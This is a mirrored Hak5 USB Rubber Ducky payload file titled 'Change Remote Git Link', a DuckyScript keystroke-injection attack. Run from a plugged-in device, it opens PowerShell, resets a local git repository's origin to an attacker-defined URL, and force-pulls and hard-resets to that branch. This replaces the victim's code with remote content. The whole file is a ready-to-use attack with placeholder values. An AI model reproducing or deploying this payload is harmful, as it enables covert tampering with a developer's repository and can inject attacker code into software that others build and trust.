Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/ChangeGitRemoteLink/payload.txt
2971 views
1
REM ###########################################
2
REM # |
3
REM # Title : Change Remote Git Link |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Execution |
7
REM # Target : Windows 10-11/Linux |
8
REM # |
9
REM ###########################################
10
11
REM Requirements:
12
REM - Internet Connection
13
REM - git installed
14
REM - Full path of the cloned repository
15
REM - ExecutionPolicy Bypass if runned on Windows
16
17
REM Full path of the local repository i.e. "C:\Users\User\Documents\Repository1"
18
DEFINE #FULL-PATH example
19
20
REM Link from which updates are to be downloaded so the new repository the Repository2
21
DEFINE #NEW-GIT-LINK example.git
22
23
REM Define the branch of the new repository Repository2, i.e. "main"
24
DEFINE #BRANCH example
25
26
DELAY 1000
27
GUI r
28
DELAY 1000
29
STRING powershell
30
ENTER
31
DELAY 2000
32
33
STRINGLN cd #FULL-PATH
34
DELAY 1000
35
STRINGLN git remote set-url origin #NEW-GIT-LINK
36
DELAY 1000
37
STRINGLN git pull --force origin #BRANCH
38
DELAY 1000
39
STRINGLN git reset --hard origin/#BRANCH
40
DELAY 1000
41
42
ALT F4
43
44